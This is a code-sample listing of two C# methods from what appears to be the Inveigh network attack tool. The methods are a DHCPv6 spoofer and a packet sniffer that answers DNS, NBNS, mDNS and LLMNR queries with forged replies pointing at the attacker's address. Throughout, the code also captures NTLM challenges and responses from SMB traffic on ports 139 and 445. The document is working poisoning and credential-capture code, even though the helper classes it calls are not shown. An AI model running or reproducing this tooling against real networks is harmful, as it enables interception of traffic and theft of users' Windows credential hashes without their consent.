Exemplo n.º 1
0
        public static void DHCPv6Listener(string ipv6, string spooferIPv6, string snifferMAC, string dhcpv6DomainSuffix)
        {
            byte[]     spooferIPv6Data      = IPAddress.Parse(spooferIPv6).GetAddressBytes();
            IPAddress  destinationIPAddress = IPAddress.Parse(ipv6);
            IPEndPoint dhcpv6Endpoint       = new IPEndPoint(IPAddress.Parse(ipv6), 547);
            //UdpClient dhcpv6Client = new UdpClient(AddressFamily.InterNetworkV6);
            int dhcpv6IPIndex = 1;

            byte[] dhcpv6DomainSuffixData = Util.NewDNSNameArray(dhcpv6DomainSuffix, true);
            Random ipv6Random             = new Random();
            int    ipv6RandomValue        = ipv6Random.Next(1, 9999);

            byte[] snifferMACArray = new byte[6];
            snifferMAC = snifferMAC.Insert(2, "-").Insert(5, "-").Insert(8, "-").Insert(11, "-").Insert(14, "-");
            int i = 0;

            foreach (string character in snifferMAC.Split('-'))
            {
                snifferMACArray[i] = Convert.ToByte(Convert.ToInt16(character, 16));
                i++;
            }

            UdpClient dhcpv6Client = UDP.UDPListener("DHCPv6", ipv6, 547, "IPv6");

            while (!Program.exitInveigh)
            {
                try
                {
                    byte[]    udpPayload          = dhcpv6Client.Receive(ref dhcpv6Endpoint);
                    int       dhcpv6SourcePort    = dhcpv6Endpoint.Port;
                    IPAddress sourceIPAddress     = dhcpv6Endpoint.Address;
                    byte[]    dhcpv6MessageTypeID = new byte[1];
                    Buffer.BlockCopy(udpPayload, 0, dhcpv6MessageTypeID, 0, 1);
                    byte[] dhcpv6TransactionID = new byte[3];
                    Buffer.BlockCopy(udpPayload, 1, dhcpv6TransactionID, 0, 3);
                    byte[] dhcpv6ClientIdentifier = new byte[18];
                    Buffer.BlockCopy(udpPayload, 10, dhcpv6ClientIdentifier, 0, 18);
                    byte[] dhcpv6ClientMACData = new byte[6];
                    Buffer.BlockCopy(udpPayload, 22, dhcpv6ClientMACData, 0, 6);
                    string dhcpv6ClientMAC = BitConverter.ToString(dhcpv6ClientMACData).Replace("-", ":");
                    byte[] dhcpv6IAID      = new byte[4];

                    if ((int)dhcpv6MessageTypeID[0] == 1)
                    {
                        Buffer.BlockCopy(udpPayload, 32, dhcpv6IAID, 0, 4);
                    }
                    else
                    {
                        Buffer.BlockCopy(udpPayload, 46, dhcpv6IAID, 0, 4);
                    }

                    byte[] dhcpv6ClientIP     = new byte[16];
                    string dhcpv6LeaseIP      = "";
                    byte[] dhcpv6OptionData   = new byte[2];
                    byte[] dhcpv6OptionLength = new byte[2];
                    string dhcpv6FQDN         = "";

                    if ((int)dhcpv6MessageTypeID[0] == 1 || (int)dhcpv6MessageTypeID[0] == 3 || (int)dhcpv6MessageTypeID[0] == 5)
                    {
                        for (i = 12; i < udpPayload.Length; i++)
                        {
                            if (Util.UInt16DataLength(i, udpPayload) == 39)
                            {
                                dhcpv6FQDN = Util.ParseNameQuery((i + 4), udpPayload);
                            }
                        }

                        int index = BitConverter.ToString(udpPayload).Replace("-", String.Empty).IndexOf("4D53465420352E30");

                        if (index >= 0 && Program.dhcpv6ClientTable.ContainsKey(dhcpv6ClientMAC))
                        {
                            dhcpv6LeaseIP  = Program.dhcpv6ClientTable[dhcpv6ClientMAC].ToString();
                            dhcpv6ClientIP = IPAddress.Parse(dhcpv6LeaseIP).GetAddressBytes();
                        }
                        else if (index >= 0 && !Program.dhcpv6ClientTable.ContainsKey(dhcpv6ClientMAC))
                        {
                            dhcpv6LeaseIP  = "fe80::" + ipv6RandomValue + ":" + dhcpv6IPIndex;
                            dhcpv6ClientIP = IPAddress.Parse(dhcpv6LeaseIP).GetAddressBytes();
                            Program.dhcpv6ClientTable.Add(dhcpv6ClientMAC, dhcpv6LeaseIP);
                            dhcpv6IPIndex++;

                            lock (Program.dhcpv6FileList)
                            {
                                Program.dhcpv6FileList.Add(dhcpv6ClientMAC + "," + dhcpv6LeaseIP);
                            }
                        }

                        if (Program.enabledDHCPv6)
                        {
                            if (index > 0)
                            {
                                byte[]     dhcpv6Response         = DHCPv6.GetDHCPv6Response("listener", dhcpv6DomainSuffix, sourceIPAddress, destinationIPAddress, dhcpv6ClientIP, spooferIPv6Data, snifferMACArray, Util.IntToByteArray2(546), udpPayload);
                                IPEndPoint dnsDestinationEndPoint = new IPEndPoint(sourceIPAddress, 546);
                                UDP.UDPListenerClient(sourceIPAddress, dhcpv6SourcePort, dhcpv6Client, dhcpv6Response);
                                //dnsEndpoint = new IPEndPoint(dnsListenerIP, 53);
                                dhcpv6Client = UDP.UDPListener("DHCPv6", ipv6, 547, "IPv6");
                            }
                        }

                        DHCPv6Output(dhcpv6ClientMAC, dhcpv6FQDN, dhcpv6LeaseIP, sourceIPAddress.ToString(), index, (int)dhcpv6MessageTypeID[0]);
                    }
                }
                catch (Exception ex)
                {
                    Program.outputList.Add(String.Format("[-] [{0}] DHCPv6 spoofer error detected - {1}", DateTime.Now.ToString("s"), ex.ToString()));
                }
            }
        }
Exemplo n.º 2
0
        public static void SnifferSpoofer(string ipVersion, string snifferIP, string snifferMAC, string spooferIP, string spooferIPv6, string dnsDomainController, string dnsTTL, string llmnrTTL, string mdnsTTL, string nbnsTTL, string[] dnsTypes, string[] mdnsQuestions, string[] mdnsTypes, string[] nbnsTypes, string dhcpv6DomainSuffix, string[] pcapTCP, string[] pcapUDP)
        {
            byte[] spooferIPData   = IPAddress.Parse(spooferIP).GetAddressBytes();
            byte[] spooferIPv6Data = IPAddress.Parse(spooferIPv6).GetAddressBytes();
            byte[] byteIn          = new byte[4] {
                1, 0, 0, 0
            };
            byte[] byteOut = new byte[4] {
                1, 0, 0, 0
            };
            byte[]     byteData = new byte[65534];
            Socket     snifferSocket;
            IPEndPoint snifferEndPoint;
            EndPoint   snifferEndPointRemote;
            IPAddress  destinationIPAddress = IPAddress.Parse(snifferIP);
            int        i               = 0;
            int        dhcpv6IPIndex   = 1;
            Random     ipv6Random      = new Random();
            int        ipv6RandomValue = ipv6Random.Next(1, 9999);

            byte[] snifferMACArray        = new byte[6];
            byte[] dhcpv6DomainSuffixData = Util.NewDNSNameArray(dhcpv6DomainSuffix, true);
            var    ipVersionAddressFamily = AddressFamily.InterNetwork;

            if (String.Equals(ipVersion, "IPv6"))
            {
                snifferEndPointRemote  = new IPEndPoint(IPAddress.IPv6Any, 0);
                ipVersionAddressFamily = AddressFamily.InterNetworkV6;


                snifferMAC = snifferMAC.Insert(2, "-").Insert(5, "-").Insert(8, "-").Insert(11, "-").Insert(14, "-");

                foreach (string character in snifferMAC.Split('-'))
                {
                    snifferMACArray[i] = Convert.ToByte(Convert.ToInt16(character, 16));
                    i++;
                }
            }
            else
            {
                snifferEndPointRemote = new IPEndPoint(IPAddress.Any, 0);
            }

            try
            {
                if (String.Equals(ipVersion, "IPv4"))
                {
                    snifferSocket = new Socket(ipVersionAddressFamily, SocketType.Raw, ProtocolType.IP);
                }
                else
                {
                    snifferSocket = new Socket(ipVersionAddressFamily, SocketType.Raw, ProtocolType.Udp);
                }

                snifferEndPoint = new IPEndPoint(IPAddress.Parse(snifferIP), 0);
                snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
                snifferSocket.ReceiveBufferSize = 65534;
                snifferSocket.Bind(snifferEndPoint);
                snifferSocket.IOControl(IOControlCode.ReceiveAll, byteIn, byteOut);
            }
            catch
            {
                lock (Program.outputList)
                {
                    Program.outputList.Add(String.Format("[-] Error starting packet sniffer, check if shell has elevated privilege or set -Elevated N for unprivileged mode.", DateTime.Now.ToString("s")));
                }

                throw;
            }

            int    packetLength;
            string outputPcap = "";

            if (Program.enabledPcap)
            {
                byte[] pcapHeader = new byte[24] {
                    0xd4, 0xc3, 0xb2, 0xa1, 0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
                };
                outputPcap = Path.Combine(Program.argFileOutputDirectory, String.Concat(Program.argFilePrefix, "-Packets.pcap"));
                bool existsPcapFile = File.Exists(outputPcap);

                pcapFile = new FileStream(outputPcap, FileMode.Append, FileAccess.Write);

                if (!existsPcapFile)
                {
                    pcapFile.Write(pcapHeader, 0, pcapHeader.Length);
                }
            }

            while (!Program.exitInveigh)
            {
                try
                {
                    try
                    {
                        packetLength = snifferSocket.ReceiveFrom(byteData, 0, byteData.Length, SocketFlags.None, ref snifferEndPointRemote);
                    }
                    catch
                    {
                        packetLength = 0;
                    }

                    if (packetLength > 0)
                    {
                        MemoryStream memoryStream = new MemoryStream(byteData, 0, packetLength);
                        BinaryReader binaryReader = new BinaryReader(memoryStream);
                        IPAddress    sourceIPAddress;
                        int          protocolNumber;
                        byte[]       sourceIP      = new byte[4];
                        byte[]       destinationIP = new byte[4];


                        if (String.Equals(ipVersion, "IPv4"))
                        {
                            byte versionHL = binaryReader.ReadByte();
                            binaryReader.ReadByte();
                            uint totalLength = Util.DataToUInt16(binaryReader.ReadBytes(2)); //this is 0 with tcp offload
                            binaryReader.ReadBytes(5);
                            protocolNumber = (int)binaryReader.ReadByte();
                            binaryReader.ReadBytes(2);
                            sourceIP             = binaryReader.ReadBytes(4);
                            sourceIPAddress      = new IPAddress(sourceIP);
                            destinationIP        = binaryReader.ReadBytes(4);
                            destinationIPAddress = new IPAddress(destinationIP);
                            byte headerLength = versionHL;
                            headerLength <<= 4;
                            headerLength >>= 4;
                            headerLength  *= 4;
                        }
                        else
                        {
                            sourceIPAddress = IPAddress.Parse(snifferEndPointRemote.ToString().Substring(0, snifferEndPointRemote.ToString().Length - 2));
                            protocolNumber  = (int)snifferSocket.ProtocolType;
                        }

                        switch (protocolNumber)
                        {
                        case 6:
                            uint tcpSourcePort      = Util.DataToUInt16(binaryReader.ReadBytes(2));
                            uint tcpDestinationPort = Util.DataToUInt16(binaryReader.ReadBytes(2));
                            binaryReader.ReadBytes(8);
                            byte tcpHeaderLength = binaryReader.ReadByte();
                            tcpHeaderLength >>= 4;
                            tcpHeaderLength  *= 4;
                            byte tcpFlags = binaryReader.ReadByte();
                            binaryReader.ReadBytes(tcpHeaderLength - 15);
                            byte[] payloadBytes   = binaryReader.ReadBytes(packetLength);
                            string challenge      = "";
                            string session        = "";
                            string tcpSession     = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
                            string tcpFlagsBinary = Convert.ToString(tcpFlags, 2);
                            tcpFlagsBinary = tcpFlagsBinary.PadLeft(8, '0');

                            if (String.Equals(tcpFlagsBinary.Substring(6, 1), "1") && String.Equals(tcpFlagsBinary.Substring(3, 1), "0") && destinationIPAddress.ToString() == snifferIP)
                            {
                                lock (Program.outputList)
                                {
                                    Program.outputList.Add(String.Format("[+] [{0}] TCP({1}) SYN packet from {2}", DateTime.Now.ToString("s"), tcpDestinationPort, tcpSession));
                                }
                            }

                            switch (tcpDestinationPort)
                            {
                            case 139:

                                if (payloadBytes.Length > 0)
                                {
                                    SMBConnection(payloadBytes, snifferIP, sourceIPAddress.ToString(), destinationIPAddress.ToString(), Convert.ToString(tcpSourcePort), "139");
                                }

                                session = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);

                                if (Program.smbSessionTable.ContainsKey(session))
                                {
                                    NTLM.GetNTLMResponse(payloadBytes, sourceIPAddress.ToString(), Convert.ToString(tcpSourcePort), "SMB", "139");
                                }

                                break;

                            case 445:

                                if (payloadBytes.Length > 0)
                                {
                                    SMBConnection(payloadBytes, snifferIP, sourceIPAddress.ToString(), destinationIPAddress.ToString(), Convert.ToString(tcpSourcePort), "445");
                                }

                                session = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);

                                if (Program.smbSessionTable.ContainsKey(session))
                                {
                                    NTLM.GetNTLMResponse(payloadBytes, sourceIPAddress.ToString(), Convert.ToString(tcpSourcePort), "SMB", "445");
                                }

                                break;
                            }

                            switch (tcpSourcePort)
                            {
                            case 139:

                                if (payloadBytes.Length > 0)
                                {
                                    challenge = NTLM.GetSMBNTLMChallenge(payloadBytes);
                                }

                                session = destinationIPAddress.ToString() + ":" + Convert.ToString(tcpDestinationPort);

                                if (!string.IsNullOrEmpty(challenge) && destinationIP != sourceIP)
                                {
                                    if (!String.Equals(destinationIP, snifferIP))
                                    {
                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} sent to {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
                                        }
                                    }
                                    else
                                    {
                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} from {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
                                        }
                                    }

                                    Program.smbSessionTable[session] = challenge;
                                }

                                break;

                            case 445:

                                if (payloadBytes.Length > 0)
                                {
                                    challenge = NTLM.GetSMBNTLMChallenge(payloadBytes);
                                }

                                session = destinationIPAddress.ToString() + ":" + Convert.ToString(tcpDestinationPort);

                                if (!String.IsNullOrEmpty(challenge) && destinationIP != sourceIP)
                                {
                                    if (!String.Equals(destinationIP, snifferIP))
                                    {
                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} sent to {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
                                        }
                                    }
                                    else
                                    {
                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} from {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
                                        }
                                    }

                                    Program.smbSessionTable[session] = challenge;
                                }

                                break;
                            }

                            if (Program.enabledPcap && String.Equals(ipVersion, "IPv4") && (pcapTCP != null && pcapTCP.Length > 0 && (Array.Exists(pcapTCP, element => element == tcpSourcePort.ToString()) ||
                                                                                                                                      Array.Exists(pcapTCP, element => element == tcpDestinationPort.ToString()) || Array.Exists(pcapTCP, element => element == "ALL"))))
                            {
                                PcapOutput((uint)packetLength, byteData);
                            }

                            break;

                        case 17:
                            byte[] udpSourcePort      = binaryReader.ReadBytes(2);
                            uint   endpointSourcePort = Util.DataToUInt16(udpSourcePort);
                            uint   udpDestinationPort = Util.DataToUInt16(binaryReader.ReadBytes(2));
                            uint   udpLength          = Util.DataToUInt16(binaryReader.ReadBytes(2));
                            binaryReader.ReadBytes(2);
                            byte[] udpPayload;

                            try
                            {
                                udpPayload = binaryReader.ReadBytes(((int)udpLength - 2) * 4);
                            }
                            catch
                            {
                                udpPayload = new byte[2];
                            }

                            switch (udpDestinationPort)
                            {
                            case 53:
                                string dnsRequestHost = Util.ParseNameQuery(12, udpPayload);
                                byte[] dnsRequest     = new byte[dnsRequestHost.Length + 2];
                                System.Buffer.BlockCopy(udpPayload, 12, dnsRequest, 0, dnsRequest.Length);
                                string[] dnsRequestSplit      = dnsRequestHost.Split('.');
                                byte[]   dnsRequestRecordType = new byte[2];
                                System.Buffer.BlockCopy(udpPayload, (dnsRequest.Length + 12), dnsRequestRecordType, 0, 2);
                                string dnsRecordType      = Util.GetRecordType(dnsRequestRecordType);
                                string dnsResponseMessage = Util.CheckRequest(dnsRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), "DNS", dnsRecordType, dnsTypes);

                                if (Program.enabledDNS && String.Equals(dnsResponseMessage, "response sent"))
                                {
                                    if ((int)udpPayload[2] != 40)
                                    {
                                        byte[] dnsResponse = DNS.GetDNSResponse("sniffer", ipVersion, dnsDomainController, dnsTTL, dnsRecordType, sourceIPAddress, destinationIPAddress, spooferIPData, udpSourcePort, udpPayload);
                                        UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, dnsResponse);
                                    }
                                    else
                                    {
                                        byte[] dnsResponse = DNS.GetDNSResponse("sniffer", ipVersion, dnsDomainController, dnsTTL, dnsRecordType, sourceIPAddress, destinationIPAddress, spooferIPData, udpSourcePort, udpPayload);
                                        UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, dnsResponse);
                                    }
                                }

                                if (String.Equals(destinationIPAddress.ToString(), snifferIP.ToString()))
                                {
                                    lock (Program.outputList)
                                    {
                                        Program.outputList.Add(String.Format("[+] [{0}] DNS({1}) request for {2} from {3} [{4}]", DateTime.Now.ToString("s"), dnsRecordType, dnsRequestHost, sourceIPAddress, dnsResponseMessage));
                                    }
                                }
                                else
                                {
                                    lock (Program.outputList)
                                    {
                                        Program.outputList.Add(String.Format("[+] [{0}] DNS({1}) request for {2} sent to {3} [{4}]", DateTime.Now.ToString("s"), dnsRecordType, dnsRequestHost, destinationIPAddress, "outgoing query"));
                                    }
                                }

                                break;

                            case 137:

                                if (String.Equals(ipVersion, "IPv4"))
                                {
                                    byte[] nbnsQuestionsAnswerRRs = new byte[4];
                                    System.Buffer.BlockCopy(udpPayload, 4, nbnsQuestionsAnswerRRs, 0, 4);
                                    byte[] nbnsAdditionalRRs = new byte[2];
                                    System.Buffer.BlockCopy(udpPayload, 10, nbnsAdditionalRRs, 0, 2);

                                    if (String.Equals(BitConverter.ToString(nbnsQuestionsAnswerRRs), "00-01-00-00") && !String.Equals(BitConverter.ToString(nbnsAdditionalRRs), "00-01"))
                                    {
                                        byte[] nbnsRequestType = new byte[2];
                                        System.Buffer.BlockCopy(udpPayload, 43, nbnsRequestType, 0, 2);
                                        string nbnsQueryType = NBNS.NBNSQueryType(nbnsRequestType);
                                        byte[] nbnsType      = new byte[1];
                                        System.Buffer.BlockCopy(udpPayload, 47, nbnsType, 0, 1);
                                        byte[] nbnsRequest = new byte[udpPayload.Length - 20];
                                        System.Buffer.BlockCopy(udpPayload, 13, nbnsRequest, 0, nbnsRequest.Length);
                                        string nbnsRequestHost     = NBNS.BytesToNBNSQuery(nbnsRequest);
                                        string nbnsResponseMessage = Util.CheckRequest(nbnsRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), "NBNS", nbnsQueryType, nbnsTypes);

                                        if (Program.enabledNBNS && String.Equals(nbnsResponseMessage, "response sent"))
                                        {
                                            if (Array.Exists(nbnsTypes, element => element == nbnsQueryType) && !String.Equals(BitConverter.ToString(nbnsType), "21"))
                                            {
                                                byte[] nbnsResponse = NBNS.GetNBNSResponse("sniffer", nbnsTTL, spooferIPData, udpSourcePort, udpPayload);
                                                UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, nbnsResponse);
                                            }
                                            else if (String.Equals(BitConverter.ToString(nbnsType), "21"))
                                            {
                                                nbnsResponseMessage = "NBSTAT request";
                                            }
                                            else
                                            {
                                                nbnsResponseMessage = "NBNS type disabled";
                                            }
                                        }

                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] NBNS request for {1}<{2}> from {3} [{4}]", DateTime.Now.ToString("s"), nbnsRequestHost, nbnsQueryType, sourceIPAddress, nbnsResponseMessage));
                                        }
                                    }
                                }

                                break;

                            case 547:

                                if (String.Equals(ipVersion, "IPv6"))
                                {
                                    byte[] dhcpv6MessageTypeID = new byte[1];
                                    Buffer.BlockCopy(udpPayload, 0, dhcpv6MessageTypeID, 0, 1);
                                    byte[] dhcpv6ClientMACData = new byte[6];
                                    Buffer.BlockCopy(udpPayload, 22, dhcpv6ClientMACData, 0, 6);
                                    string dhcpv6ClientMAC = BitConverter.ToString(dhcpv6ClientMACData).Replace("-", ":");
                                    byte[] dhcpv6IAID      = new byte[4];

                                    if ((int)dhcpv6MessageTypeID[0] == 1)
                                    {
                                        Buffer.BlockCopy(udpPayload, 32, dhcpv6IAID, 0, 4);
                                    }
                                    else
                                    {
                                        Buffer.BlockCopy(udpPayload, 46, dhcpv6IAID, 0, 4);
                                    }

                                    byte[] dhcpv6ClientIP = new byte[16];
                                    string dhcpv6LeaseIP  = "";
                                    string dhcpv6FQDN     = "";

                                    if ((int)dhcpv6MessageTypeID[0] == 1 || (int)dhcpv6MessageTypeID[0] == 3 || (int)dhcpv6MessageTypeID[0] == 5)
                                    {
                                        for (i = 12; i < udpPayload.Length; i++)
                                        {
                                            if (Util.UInt16DataLength(i, udpPayload) == 39)
                                            {
                                                dhcpv6FQDN = Util.ParseNameQuery((i + 4), udpPayload);
                                            }
                                        }

                                        int index = BitConverter.ToString(udpPayload).Replace("-", String.Empty).IndexOf("4D53465420352E30");

                                        if (index >= 0 && Program.dhcpv6ClientTable.ContainsKey(dhcpv6ClientMAC))
                                        {
                                            dhcpv6LeaseIP  = Program.dhcpv6ClientTable[dhcpv6ClientMAC].ToString();
                                            dhcpv6ClientIP = IPAddress.Parse(dhcpv6LeaseIP).GetAddressBytes();
                                        }
                                        else if (index >= 0 && !Program.dhcpv6ClientTable.ContainsKey(dhcpv6ClientMAC))
                                        {
                                            dhcpv6LeaseIP  = "fe80::" + ipv6RandomValue + ":" + dhcpv6IPIndex;
                                            dhcpv6ClientIP = IPAddress.Parse(dhcpv6LeaseIP).GetAddressBytes();
                                            Program.dhcpv6ClientTable.Add(dhcpv6ClientMAC, dhcpv6LeaseIP);
                                            dhcpv6IPIndex++;

                                            lock (Program.dhcpv6FileList)
                                            {
                                                Program.dhcpv6FileList.Add(dhcpv6ClientMAC + "," + dhcpv6LeaseIP);
                                            }
                                        }

                                        string dhcpv6ResponseMessage = DHCPv6.DHCPv6Output(dhcpv6ClientMAC, dhcpv6FQDN, dhcpv6LeaseIP, sourceIPAddress.ToString(), index, (int)dhcpv6MessageTypeID[0]);

                                        if (String.Equals(dhcpv6ResponseMessage, "response sent"))
                                        {
                                            byte[] dhcpv6Response = DHCPv6.GetDHCPv6Response("sniffer", dhcpv6DomainSuffix, sourceIPAddress, destinationIPAddress, dhcpv6ClientIP, spooferIPv6Data, snifferMACArray, udpSourcePort, udpPayload);
                                            UDP.UDPSnifferClient(destinationIPAddress, 547, sourceIPAddress, 546, ipVersion, dhcpv6Response);
                                        }
                                    }
                                }

                                break;

                            case 5353:

                                if (String.Equals(ipVersion, "IPv4"))
                                {
                                    string mdnsResponseMessage = "";
                                    byte[] mdnsType            = new byte[2];

                                    if (BitConverter.ToString(udpPayload).EndsWith("-00-01-80-01") && String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-01-00-00-00-00-00-00"))
                                    {
                                        //udpLength += 10;
                                        byte[] ttlMDNS = BitConverter.GetBytes(Int32.Parse(mdnsTTL));
                                        Array.Reverse(ttlMDNS);
                                        byte[] mdnsTransactionID   = new byte[2];
                                        string mdnsRequestHostFull = Util.ParseNameQuery(12, udpPayload);
                                        System.Buffer.BlockCopy(udpPayload, 0, mdnsTransactionID, 0, 2);
                                        byte[] mdnsRequest = new byte[mdnsRequestHostFull.Length + 2];
                                        System.Buffer.BlockCopy(udpPayload, 12, mdnsRequest, 0, mdnsRequest.Length);
                                        string[] mdnsRequestSplit = mdnsRequestHostFull.Split('.');

                                        if (mdnsRequestSplit != null && mdnsRequestSplit.Length > 0)
                                        {
                                            mdnsResponseMessage = Util.CheckRequest(mdnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "MDNS", "QU", mdnsQuestions);
                                        }

                                        if (Program.enabledMDNS && String.Equals(mdnsResponseMessage, "response sent"))
                                        {
                                            if (Array.Exists(mdnsQuestions, element => element == "QU"))
                                            {
                                                byte[] mdnsResponse = MDNS.GetMDNSResponse("sniffer", ipVersion, mdnsTTL, sourceIPAddress, destinationIPAddress, spooferIPData, spooferIPv6Data, udpSourcePort, udpPayload);
                                                UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, mdnsResponse);
                                            }
                                            else
                                            {
                                                mdnsResponseMessage = "mDNS type disabled";
                                            }
                                        }

                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] mDNS(QU) request for {1} from {2} [{3}]", DateTime.Now.ToString("s"), mdnsRequestHostFull, sourceIPAddress, mdnsResponseMessage));
                                        }
                                    }
                                    else if (BitConverter.ToString(udpPayload).EndsWith("-00-01") && (String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-01-00-00-00-00-00-00") ||
                                                                                                      String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-02-00-00-00-00-00-00")))
                                    {
                                        //udpLength += 4;
                                        byte[] ttlMDNS = BitConverter.GetBytes(Int32.Parse(mdnsTTL));
                                        Array.Reverse(ttlMDNS);
                                        byte[] mdnsTransactionID = new byte[2];
                                        System.Buffer.BlockCopy(udpPayload, 0, mdnsTransactionID, 0, 2);
                                        string mdnsRequestHostFull = Util.ParseNameQuery(12, udpPayload);
                                        byte[] mdnsRequest         = new byte[mdnsRequestHostFull.Length + 2];
                                        System.Buffer.BlockCopy(udpPayload, 12, mdnsRequest, 0, mdnsRequest.Length);
                                        string[] mdnsRequestSplit = mdnsRequestHostFull.Split('.');

                                        if (mdnsRequestSplit != null && mdnsRequestSplit.Length > 0)
                                        {
                                            mdnsResponseMessage = Util.CheckRequest(mdnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "MDNS", "QM", mdnsQuestions);
                                        }

                                        if (Program.enabledMDNS && String.Equals(mdnsResponseMessage, "response sent"))
                                        {
                                            if (Array.Exists(mdnsQuestions, element => element == "QM"))
                                            {
                                                byte[] mdnsResponse = MDNS.GetMDNSResponse("sniffer", ipVersion, mdnsTTL, sourceIPAddress, destinationIPAddress, spooferIPData, spooferIPv6Data, udpSourcePort, udpPayload);
                                                UDP.UDPSnifferClient(null, 0, IPAddress.Parse("224.0.0.251"), 5353, ipVersion, mdnsResponse);
                                            }
                                            else
                                            {
                                                mdnsResponseMessage = "mDNS type disabled";
                                            }
                                        }

                                        lock (Program.outputList)
                                        {
                                            Program.outputList.Add(String.Format("[+] [{0}] mDNS(QM) request for {1} from {2} [{3}]", DateTime.Now.ToString("s"), mdnsRequestHostFull, sourceIPAddress, mdnsResponseMessage));
                                        }
                                    }
                                }

                                break;

                            case 5355:
                                string llmnrResponseMessage = "";
                                byte[] ttlLLMNR             = BitConverter.GetBytes(Int32.Parse(llmnrTTL));
                                Array.Reverse(ttlLLMNR);
                                byte[] llmnrType = new byte[2];
                                System.Buffer.BlockCopy(udpPayload, (udpPayload.Length - 4), llmnrType, 0, 2);

                                if (String.Equals(ipVersion, "IPv4") && !String.Equals(BitConverter.ToString(llmnrType), "00-1C") || String.Equals(ipVersion, "IPv6") && String.Equals(BitConverter.ToString(llmnrType), "00-1C"))
                                {
                                    udpLength += (byte)(udpPayload.Length - 2);
                                    Array.Reverse(udpSourcePort);
                                    byte[] llmnrTransactionID = new byte[2];
                                    System.Buffer.BlockCopy(udpPayload, 0, llmnrTransactionID, 0, 2);
                                    byte[] llmnrRequest       = new byte[udpPayload.Length - 18];
                                    byte[] llmnrRequestLength = new byte[1];
                                    System.Buffer.BlockCopy(udpPayload, 12, llmnrRequestLength, 0, 1);
                                    System.Buffer.BlockCopy(udpPayload, 13, llmnrRequest, 0, llmnrRequest.Length);
                                    string llmnrRequestHost = Util.ParseNameQuery(12, udpPayload);
                                    string llmnrVersion     = "LLMNR";

                                    if (String.Equals(ipVersion, "IPv6"))
                                    {
                                        llmnrVersion = "LLMNRv6";
                                    }

                                    llmnrResponseMessage = Util.CheckRequest(llmnrRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), llmnrVersion, null, null);

                                    if (String.Equals(llmnrResponseMessage, "response sent"))
                                    {
                                        byte[] llmnrResponse = LLMNR.GetLLMNRResponse("sniffer", ipVersion, llmnrTTL, sourceIPAddress, destinationIPAddress, spooferIPData, spooferIPv6Data, udpSourcePort, udpPayload);
                                        UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, llmnrResponse);
                                    }

                                    lock (Program.outputList)
                                    {
                                        Program.outputList.Add(String.Format("[+] [{0}] {1} request for {2} from {3} [{4}]", DateTime.Now.ToString("s"), llmnrVersion, llmnrRequestHost, sourceIPAddress, llmnrResponseMessage));
                                    }
                                }

                                break;
                            }

                            if (Program.enabledPcap && String.Equals(ipVersion, "IPv4") && (pcapUDP != null && pcapUDP.Length > 0 && (Array.Exists(pcapUDP, element => element == udpSourcePort.ToString()) ||
                                                                                                                                      Array.Exists(pcapUDP, element => element == udpDestinationPort.ToString()) || Array.Exists(pcapUDP, element => element == "ALL"))))
                            {
                                PcapOutput((uint)packetLength, byteData);
                            }

                            break;
                        }
                    }
                }
                catch (Exception ex)
                {
                    Program.outputList.Add(String.Format("[-] [{0}] Packet sniffing error detected - {1}", DateTime.Now.ToString("s"), ex.ToString()));
                }
            }
        }